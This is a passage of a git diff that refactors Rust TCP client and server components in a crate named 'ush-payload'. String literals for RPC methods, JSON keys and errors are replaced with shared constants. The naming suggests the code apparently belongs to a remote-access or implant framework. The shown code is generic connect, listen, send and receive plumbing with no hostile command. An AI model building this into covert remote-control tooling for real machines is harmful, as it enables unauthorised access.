ERR_MISSING_METHOD}), }; - let params = payload.get("params").cloned().unwrap_or(Value::Null); + let params = payload.get(KEY_PARAMS).cloned().unwrap_or(Value::Null); match method { - "connect" => { - // Allow override of address/port - if let Some(addr) = params.get("address").and_then(|a| a.as_str()) { + METHOD_CONNECT => { + if let Some(addr) = params.get(KEY_ADDRESS).and_then(|a| a.as_str()) { self.config.address = addr.to_string(); } - if let Some(port) = params.get("port").and_then(|p| p.as_u64()) { + if let Some(port) = params.get(KEY_PORT).and_then(|p| p.as_u64()) { self.config.port = port as u16; } match self.connect() { - Ok(_) => json!({"success": true, "status": self.status}), - Err(e) => json!({"success": false, "error": e}), + Ok(_) => json!({KEY_SUCCESS: true, KEY_STATUS: self.status}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), } } - "disconnect" => match self.disconnect() { - Ok(_) => json!({"success": true}), - Err(e) => json!({"success": false, "error": e}), + METHOD_DISCONNECT => match self.disconnect() { + Ok(_) => json!({KEY_SUCCESS: true}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), }, - "send" => { + METHOD_SEND => { let data = params - .get("data") + .get(KEY_DATA) .and_then(|d| d.as_str()) .map(|s| s.as_bytes().to_vec()); match data { Some(data) => match self.send_raw(&data) { - Ok(n) => json!({"success": true, "bytes_sent": n}), - Err(e) => json!({"success": false, "error": e}), + Ok(n) => json!({KEY_SUCCESS: true, KEY_BYTES_SENT: n}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), }, - None => json!({"success": false, "error": "missing data"}), + None => json!({KEY_SUCCESS: false, KEY_ERROR: ERR_MISSING_DATA}), } } - "recv" => { + METHOD_RECV => { let size = params - .get("size") + .get(KEY_SIZE) .and_then(|s| s.as_u64()) .map(|s| s as usize) .unwrap_or(4096); match self.recv_raw(size) { Ok(data) => json!({ - "success": true, - "data": String::from_utf8_lossy(&data), + KEY_SUCCESS: true, + KEY_DATA: String::from_utf8_lossy(&data), "bytes": data.len() }), - Err(e) => json!({"success": false, "error": e}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), } } - "status" => self.get_status(), - "set_protocols" => { - if let Some(protocols) = params.get("protocols") { + METHOD_STATUS => self.get_status(), + METHOD_SET_PROTOCOLS => { + if let Some(protocols) = params.get(KEY_PROTOCOLS) { match serde_json::from_value(protocols.clone()) { Ok(p) => match self.set_protocols(p) { - Ok(_) => json!({"success": true}), - Err(e) => json!({"success": false, "error": e}), + Ok(_) => json!({KEY_SUCCESS: true}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), }, - Err(e) => json!({"success": false, "error": e.to_string()}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e.to_string()}), } } else { - json!({"success": false, "error": "missing protocols"}) + json!({KEY_SUCCESS: false, KEY_ERROR: ERR_MISSING_PROTOCOLS}) } } - _ => json!({"success": false, "error": format!("unknown method: {}", method)}), + _ => json!({KEY_SUCCESS: false, KEY_ERROR: format!("unknown method: {}", method)}), } } } @@ -292,8 +291,7 @@ impl Component for TcpClient { } fn init(&mut self, config: Value) -> Result<(), String> { - // Support both legacy config and new format - if let Some(client_config) = config.get("config") { + if let Some(client_config) = config.get(KEY_CONFIG) { self.config = serde_json::from_value(client_config.clone()) .map_err(|e| format!("Invalid config: {}", e))?; } else { @@ -301,7 +299,7 @@ impl Component for TcpClient { .map_err(|e| format!("Invalid config: {}", e))?; } - if let Some(protocols) = config.get("protocols") { + if let Some(protocols) = config.get(KEY_PROTOCOLS) { let p: Vec = serde_json::from_value(protocols.clone()) .map_err(|e| format!("Invalid protocols: {}", e))?; self.set_protocols(p)?; @@ -319,32 +317,30 @@ impl Component for TcpClient { impl TreeElement for TcpClient { fn get_type(&self) -> Value { json!({ - "type": "TCPClient", - "name": self.name, + KEY_TYPE: TYPE_TCP_CLIENT, + KEY_NAME: self.name, }) } fn send_message(&mut self, target: Value, message: Value) -> Value { match target { Value::Null => { - // Check for RPC call format - if message.get("method").is_some() { + if message.get(KEY_METHOD).is_some() { return self.handle_rpc(&message); } - // Legacy string commands if let Some(cmd) = message.as_str() { match cmd { - "Connect" => match self.connect() { - Ok(_) => json!({"success": true}), - Err(e) => json!({"success": false, "error": e}), + CMD_CONNECT => match self.connect() { + Ok(_) => json!({KEY_SUCCESS: true}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), }, - "Disconnect" => match self.disconnect() { - Ok(_) => json!({"success": true}), - Err(e) => json!({"success": false, "error": e}), + CMD_DISCONNECT => match self.disconnect() { + Ok(_) => json!({KEY_SUCCESS: true}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), }, - "Status" => self.get_status(), - symbols::CMD_GET_CHILDREN => { + CMD_STATUS => self.get_status(), + CMD_GET_CHILDREN => { let children = self .branch .children() @@ -353,38 +349,37 @@ impl TreeElement for TcpClient { .collect::>(); json!(children) } - _ => json!(symbols::ERR_UNSUPPORTED_METHOD), + _ => json!(ERR_UNSUPPORTED_METHOD), } } else if let Value::Object(obj) = message { - // Handle configuration changes - if let Some(config) = obj.get("config") { + if let Some(config) = obj.get(KEY_CONFIG) { match serde_json::from_value(config.clone()) { Ok(cfg) => { self.config = cfg; - json!({"success": true}) + json!({KEY_SUCCESS: true}) } - Err(e) => json!({"success": false, "error": e.to_string()}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e.to_string()}), } - } else if obj.get("method").is_some() { + } else if obj.get(KEY_METHOD).is_some() { let payload = Value::Object(obj.clone()); self.handle_rpc(&payload) } else { - json!(symbols::ERR_INVALID_COMMAND) + json!(ERR_INVALID_COMMAND) } } else { - json!(symbols::ERR_INVALID_COMMAND) + json!(ERR_INVALID_COMMAND) } } Value::String(subtarget) => match subtarget.as_str() { - "config" => json!(self.config), - "state" => json!({ - "connected": self.status.connected, + STR_CONFIG => json!(self.config), + STR_STATE => json!({ + KEY_CONNECTED: self.status.connected, "remote": self.status.remote_address, }), - "protocols" => json!(self.protocol_stack.to_configs()), - _ => json!(symbols::ERR_CHILD_NOT_FOUND), + STR_PROTOCOLS => json!(self.protocol_stack.to_configs()), + _ => json!(ERR_CHILD_NOT_FOUND), }, - _ => json!(symbols::ERR_INVALID_TARGET), + _ => json!(ERR_INVALID_TARGET), } } } diff --git a/ush-payload/src/tcp/server.rs b/ush-payload/src/tcp/server.rs index fb4965f..e3e0030 100644 --- a/ush-payload/src/tcp/server.rs +++ b/ush-payload/src/tcp/server.rs @@ -16,7 +16,7 @@ use crate::protocols::{ProtocolConfig, ProtocolStack}; use crate::tcp::config::{ListenerStatus, TcpServerConfig}; use unshell::tree::component::Component; use unshell::tree::message::TreeMessage; -use unshell::tree::symbols; +use unshell::tree::symbols::*; use unshell::tree::{Branch, TreeElement}; /// A connected client managed by the server @@ -133,12 +133,12 @@ impl TcpServer { name: name.clone(), config, protocols: Vec::new(), - status: ListenerStatus::stopped("0.0.0.0", 0), + status: ListenerStatus::stopped(STR_0_0_0_0, 0), listener: None, clients: HashMap::new(), client_protocols: HashMap::new(), total_connections: 0, - branch: Branch::new("TCPServer"), + branch: Branch::new(TYPE_TCP_SERVER), } } @@ -299,128 +299,127 @@ impl TcpServer { let addr = client .lock() .map(|c| c.peer_address().to_string()) - .unwrap_or_else(|_| "unknown".to_string()); - json!({"id": id, "peer": addr}) + .unwrap_or_else(|_| STR_UNKNOWN.to_string()); + json!({KEY_ID: id, KEY_PEER: addr}) }) .collect(); json!({ - "listening": self.status.listening, - "bind_address": self.config.bind_address, - "port": self.config.port, - "active_connections": self.clients.len(), - "total_connections": self.total_connections, - "config": self.config, - "protocols": self.protocols, - "clients": client_list, + KEY_LISTENING: self.status.listening, + KEY_BIND_ADDRESS: self.config.bind_address, + KEY_PORT: self.config.port, + KEY_ACTIVE_CONNECTIONS: self.clients.len(), + KEY_TOTAL_CONNECTIONS: self.total_connections, + KEY_CONFIG: self.config, + KEY_PROTOCOLS: self.protocols, + KEY_CLIENTS: client_list, }) } /// Handle RPC call from message fn handle_rpc(&mut self, payload: &Value) -> Value { - let method = match payload.get("method").and_then(|m| m.as_str()) { + let method = match payload.get(KEY_METHOD).and_then(|m| m.as_str()) { Some(m) => m, - None => return json!({"success": false, "error": "missing method"}), + None => return json!({KEY_SUCCESS: false, KEY_ERROR: ERR_MISSING_METHOD}), }; - let params = payload.get("params").cloned().unwrap_or(Value::Null); + let params = payload.get(KEY_PARAMS).cloned().unwrap_or(Value::Null); match method { - "listen" | "start" => { - if let Some(addr) = params.get("bind_address").and_then(|a| a.as_str()) { + METHOD_LISTEN | METHOD_START => { + if let Some(addr) = params.get(KEY_BIND_ADDRESS).and_then(|a| a.as_str()) { self.config.bind_address = addr.to_string(); } - if let Some(port) = params.get("port").and_then(|p| p.as_u64()) { + if let Some(port) = params.get(KEY_PORT).and_then(|p| p.as_u64()) { self.config.port = port as u16; } match self.listen() { - Ok(_) => json!({"success": true, "status": self.status}), - Err(e) => json!({"success": false, "error": e}), + Ok(_) => json!({KEY_SUCCESS: true, KEY_STATUS: self.status}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), } } - "stop" => match self.stop() { - Ok(_) => json!({"success": true}), - Err(e) => json!({"success": false, "error": e}), + METHOD_STOP => match self.stop() { + Ok(_) => json!({KEY_SUCCESS: true}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), }, - "accept" => { - // Try to accept a pending connection + METHOD_ACCEPT => { if let Some((id, stream)) = self.accept() { self.register_client(id.clone(), stream); - json!({"success": true, "client_id": id}) + json!({KEY_SUCCESS: true, KEY_CLIENT_ID: id}) } else { - json!({"success": true, "client_id": null}) + json!({KEY_SUCCESS: true, KEY_CLIENT_ID: serde_json::Value::Null}) } } - "send" => { + METHOD_SEND => { let client_id = params - .get("client_id") + .get(KEY_CLIENT_ID) .and_then(|c| c.as_str()) - .ok_or_else(|| json!({"error": "missing client_id"})); + .ok_or_else(|| json!({KEY_ERROR: ERR_MISSING_CLIENT_ID})); match client_id { Ok(id) => { let data = params - .get("data") + .get(KEY_DATA) .and_then(|d| d.as_str()) .map(|s| s.as_bytes().to_vec()); match data { Some(data) => match self.send_to(id, &data) { - Ok(n) => json!({"success": true, "bytes_sent": n}), - Err(e) => json!({"success": false, "error": e}), + Ok(n) => json!({KEY_SUCCESS: true, KEY_BYTES_SENT: n}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), }, - None => json!({"success": false, "error": "missing data"}), + None => json!({KEY_SUCCESS: false, KEY_ERROR: ERR_MISSING_DATA}), } } Err(e) => e, } } - "recv" => { + METHOD_RECV => { let client_id = params - .get("client_id") + .get(KEY_CLIENT_ID) .and_then(|c| c.as_str()) - .ok_or_else(|| json!({"error": "missing client_id"})); + .ok_or_else(|| json!({KEY_ERROR: ERR_MISSING_CLIENT_ID})); match client_id { Ok(id) => { let size = params - .get("size") + .get(KEY_SIZE) .and_then(|s| s.as_u64()) .map(|s| s as usize) .unwrap_or(4096); match self.recv_from(id, size) { Ok(data) => json!({ - "success": true, - "data": String::from_utf8_lossy(&data), + KEY_SUCCESS: true, + KEY_DATA: String::from_utf8_lossy(&data), "bytes": data.len() }), - Err(e) => json!({"success": false, "error": e}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), } } Err(e) => e, } } - "disconnect" => { + METHOD_DISCONNECT => { let client_id = params - .get("client_id") + .get(KEY_CLIENT_ID) .and_then(|c| c.as_str()) - .ok_or_else(|| json!({"error": "missing client_id"})); + .ok_or_else(|| json!({KEY_ERROR: ERR_MISSING_CLIENT_ID})); match client_id { Ok(id) => match self.disconnect_client(id) { - Ok(_) => json!({"success": true}), - Err(e) => json!({"success": false, "error": e}), + Ok(_) => json!({KEY_SUCCESS: true}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), }, Err(e) => e, } } - "status" => self.get_status(), - "list_clients" => { + METHOD_STATUS => self.get_status(), + METHOD_LIST_CLIENTS => { let clients: Vec = self.clients.keys().map(|k| json!(k)).collect(); - json!({"success": true, "clients": clients}) + json!({KEY_SUCCESS: true, KEY_CLIENTS: clients}) } - _ => json!({"success": false, "error": format!("unknown method: {}", method)}), + _ => json!({KEY_SUCCESS: false, KEY_ERROR: format!("unknown method: {}", method)}), } } } @@ -435,7 +434,7 @@ impl Component for TcpServer { } fn init(&mut self, config: Value) -> Result<(), String> { - if let Some(server_config) = config.get("config") { + if let Some(server_config) = config.get(KEY_CONFIG) { self.config = serde_json::from_value(server_config.clone()) .map_err(|e| format!("Invalid config: {}", e))?; } else { @@ -443,7 +442,7 @@ impl Component for TcpServer { .map_err(|e| format!("Invalid config: {}", e))?; } - if let Some(protocols) = config.get("protocols") { + if let Some(protocols) = config.get(KEY_PROTOCOLS) { let p: Vec = serde_json::from_value(protocols.clone()) .map_err(|e| format!("Invalid protocols: {}", e))?; self.set_protocols(p)?; @@ -461,32 +460,30 @@ impl Component for TcpServer { impl TreeElement for TcpServer { fn get_type(&self) -> Value { json!({ - "type": "TCPServer", - "name": self.name, + KEY_TYPE: TYPE_TCP_SERVER, + KEY_NAME: self.name, }) } fn send_message(&mut self, target: Value, message: Value) -> Value { match target { Value::Null => { - // Check for RPC call format - if message.get("method").is_some() { + if message.get(KEY_METHOD).is_some() { return self.handle_rpc(&message); } - // Legacy string commands if let Some(cmd) = message.as_str() { match cmd { - "Listen" | "Start" => match self.listen() { - Ok(_) => json!({"success": true}), - Err(e) => json!({"success": false, "error": e}), + CMD_LISTEN | CMD_START => match self.listen() { + Ok(_) => json!({KEY_SUCCESS: true}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), }, - "Stop" => match self.stop() { - Ok(_) => json!({"success": true}), - Err(e) => json!({"success": false, "error": e}), + CMD_STOP => match self.stop() { + Ok(_) => json!({KEY_SUCCESS: true}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e}), }, - "Status" => self.get_status(), - symbols::CMD_GET_CHILDREN => { + CMD_STATUS => self.get_status(), + CMD_GET_CHILDREN => { let children = self .branch .children() @@ -495,37 +492,37 @@ impl TreeElement for TcpServer { .collect::>(); json!(children) } - _ => json!(symbols::ERR_UNSUPPORTED_METHOD), + _ => json!(ERR_UNSUPPORTED_METHOD), } } else if let Value::Object(obj) = message { - if let Some(config) = obj.get("config") { + if let Some(config) = obj.get(KEY_CONFIG) { match serde_json::from_value(config.clone()) { Ok(cfg) => { self.config = cfg; - json!({"success": true}) + json!({KEY_SUCCESS: true}) } - Err(e) => json!({"success": false, "error": e.to_string()}), + Err(e) => json!({KEY_SUCCESS: false, KEY_ERROR: e.to_string()}), } - } else if obj.get("method").is_some() { + } else if obj.get(KEY_METHOD).is_some() { let payload = Value::Object(obj.clone()); self.handle_rpc(&payload) } else { - json!(symbols::ERR_INVALID_COMMAND) + json!(ERR_INVALID_COMMAND) } } else { - json!(symbols::ERR_INVALID_COMMAND) + json!(ERR_INVALID_COMMAND) } } Value::String(subtarget) => match subtarget.as_str() { - "config" => json!(self.config), - "status" => self.get_status(), - "clients" => { + STR_CONFIG => json!(self.config), + KEY_STATUS => self.get_status(), + KEY_CLIENTS => { let clients: Vec = self.clients.keys().map(|k| json!(k)).collect(); json!(clients) } - _ => json!(symbols::ERR_CHILD_NOT_FOUND), + _ => json!(ERR_CHILD_NOT_FOUND), }, - _ => json!(symbols::ERR_INVALID_TARGET), + _ => json!(ERR_INVALID_TARGET), } } }